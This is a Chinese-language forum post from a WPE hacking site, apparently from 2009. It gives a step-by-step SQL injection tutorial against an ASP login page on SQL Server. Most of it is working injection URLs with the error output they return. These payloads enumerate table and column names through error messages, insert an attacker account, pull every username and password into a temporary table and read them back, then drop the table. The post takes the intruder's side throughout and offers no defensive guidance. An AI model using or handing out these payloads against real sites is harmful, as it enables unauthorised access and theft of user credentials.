WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 2449查看
  • 0回复

主题

好友

604

积分

高级会员

发表于 2009-11-2 13:02:45 |显示全部楼层
1.利用SQL Injection入侵数据库               
以在其中一个加上单引号来进行试验  
http://localhost/test.asp?username=isno&password=some’  
根据IIS的配置不同可能会显示“HTTP 500 - 内部服务器错误”这样的信息,这也是存在SQL Injection漏洞的证据。当然也可能对方的ASP程序的错误处理写的好,那么可能什么错误信息都不返回,这就要你根据经验来进行推测了。  
   
2.如何得到后台数据库信息   
聪明的读者可能会说:“这还不简单?就在单引号后面加入SQL操作语句不就行了吗?”但是事实并不是这样简单,因为对于一个实际的入侵情况来讲,入侵者是不可能知道后台数据库的数据库名、表名、列名等信息的,因为无法写出正确的SQL语句。  
那么怎么办呢?对了,我们可以利用返回的错误信息来得到数据库名、列名和表名。对于上面的例子,我们在浏览器中输入如下URL:  

http://localhost/test.asp?username=isno&password=some’ having 1=1--  

浏览器会返回一个错误信息:  
   

Microsoft OLE DB Provider for ODBC Drivers 错误 ’80040e14’   

   

[Microsoft][ODBC SQL Server Driver][SQL Server]列 ’login.userid’ 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。   

/test.asp,行14     

   

having 1=1是和GROUP BY子句一起使用的一个条件判断SQL语句,因为我们提交的数据不正确,所以返回的错误信息就会告诉我们一个表名和列名’login.userid’。这样我们就获得了想要的一些信息,然后我们可以通过提交如下URL来获得login表中的其他列名:  

http://localhost/test.asp?username=isno&password=some’ group by login.userid having 1=1--  

   

浏览器会返回一个错误信息:  

   

   

Microsoft OLE DB Provider for ODBC Drivers 错误 ’80040e14’     

   

   

[Microsoft][ODBC SQL Server Driver][SQL Server]列 ’login.username’ 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。     

/test.asp,行14     

这个错误返回信息又告诉了我们login表中的另外一个列名:username。继续使用这种方法,我们可以不断的得到login表中的所有列名:  

http://localhost/test.asp?username=isno&password=some’ group by login.userid,login.username having 1=1--  

浏览器会返回一个错误信息:   

   

/test.asp,行14   

再提交  

http://localhost/test.asp?username=isno&password=some’ group by login.userid,login.username,login.password having 1=1--  

浏览器没有返回错误信息,而是显示“登陆失败”,这说明我们已经得到了login表的全部三个列名:userid、username和password。  

但是仅仅得到了列名还无法对数据库进行操作,因为我们还不知道这些列的数据类型。用如下方法可以得到其数据类型:  

http://localhost/test.asp?username=isno&password=some’ union select sum(username) from login--  

浏览器会返回一个错误信息:  

   

   

Microsoft OLE DB Provider for ODBC Drivers 错误 ’80040e07’   

   

[Microsoft][ODBC SQL Server Driver][SQL Server]sum or average aggregate 运算不能以 varchar 数据类型作为参数。   

   

/test.asp,行14   

   

   

   

这说明了username列的数据类型是varchar类型的,同样的方法我们可以知道password列也是varchar类型的。当提交的是sum(userid)时候,返回的错误信息是:  

   

   

Microsoft OLE DB Provider for ODBC Drivers 错误 ’80040e14’   

   

[Microsoft][ODBC SQL Server Driver][SQL Server]包含 UNION 运算符的 SQL 语句中的所有查询都必须在目标列表中具有相同数目的表达式。   

   

/test.asp,行14   

   

   

   

所以说明了userid可以进行sum()运算,因此它应该是int,smallint等整数类型。  

好了,这样我们就得到了test.asp这个程序所操作的数据库表名是login,而login这个表里包含三个列名:userid(int或smallint类型)、username(varchar类型)、password(varchar类型)。知道了这些信息以后,我们就完全可以对这个表进行操作了,例如我们可以给里面添加一个用户:  

http://localhost/test.asp?username=isno&password=some’; insert into login values(’hacker’, ’hackpass’)--  

    虽然浏览器会返回“登陆失败”,但是实际上这样就添加了一个名为hacker的用户,它的密码是hackpass。读者可能会有疑问,问什么没有插入userid的值呢?因为根据经验,凡是和id有关的值都是表的主列,也就是可以自动增长的,所以我们不用制定这个值。  

   

3.读取数据库中的数据   

因为我们已经知道了login表中有哪些列,所以我们很容易利用union子句来读出login表中的任意数据,例如:  

http://localhost/test.asp?username=isno&password=some’ union select min(username),1,1 from login where username>’i’--  

浏览器会返回一个错误信息:  

   

   

Microsoft OLE DB Provider for ODBC Drivers 错误 ’80040e07’   

   

[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 ’isno’ 转换为数据类型为 smallint 的列时发生语法错误。   

   

/test.asp,行14   

   

   

   

这告诉了我们一个用户名是isno,然后我们可以用同样的方法得到这个用户的密码:  

http://localhost/test.asp?username=isno&password=some’ union select min(password),1,1 from login where username=’isno’--  

浏览器会返回一个错误信息:  

   

   

Microsoft OLE DB Provider for ODBC Drivers 错误 ’80040e07’   

   

[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 ’testit’ 转换为数据类型为 smallint 的列时发生语法错误。   

   

/test.asp,行14  

   

   

这样就得到了用户名isno和密码testit。  

但是这种方法一次只能得到一个用户名和密码,如果我们想要得到所有的用户名、密码就需要试很多次,这是非常麻烦的。怎样能一次得到全部的用户名和密码呢?我们可以用一系列SQL语句来把用户名和密码读出来存入一个表的列中,然后再想办法把这个字符类型的列和某个整数类型相关联,这样就可以在错误信息里显示出我们想要的东西了。我们需要这么一个SQL脚本来完成这些功能:  

begin declare @ret varchar(8000)  

set @ret=’: ’  

select @ret=@ret+’ ’+username+’/’+password from login where username>@ret  

select @ret as ret into tmp  

end  

我们提交一个包含这个脚本的URL:  

http://localhost/test.asp?username=isno&password=some’; begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret%2B’ ’%2Busername%2B’/’%2Bpassword from login where username>@ret select @ret as ret into tmp end--  

其中%2B是’+’的ASC编码,因为’+’在URL里有特殊的含义,所以应该用%2B来代替。这个URL的意思就是把上面的脚本放在一行上,然后利用SQL Injection插入进去,这样就会生成一个名为tmp的表包含一个列ret,里面存放了所有的用户名和密码。然后我们在利用前面的union方法来读取tmp表的ret列:  

http://localhost/test.asp?username=isno&password=some’ union select ret,1,1 from tmp--  

浏览器会返回一个错误信息:  

   

   

Microsoft OLE DB Provider for ODBC Drivers 错误 ’80040e07’   

   

[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 ’: isno/testit hacker/hackpass’ 转换为数据类型为 smallint 的列时发生语法错误。   

   

/test.asp,行14   

这样就可以看到login表中所有的用户名和密码了。最后别忘了删掉这个临时建的表tmp:  

http://localhost/test.asp?username=isno&password=some’; drop table tmp--  

得到数据库的信息之后,我们就可以利用上一节中的方法对数据库进行操作以及得到数据库当中的信息,这里不再赘述了。

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-5-1 11:03 , Processed in 0.058699 second(s), 16 queries .

返回顶部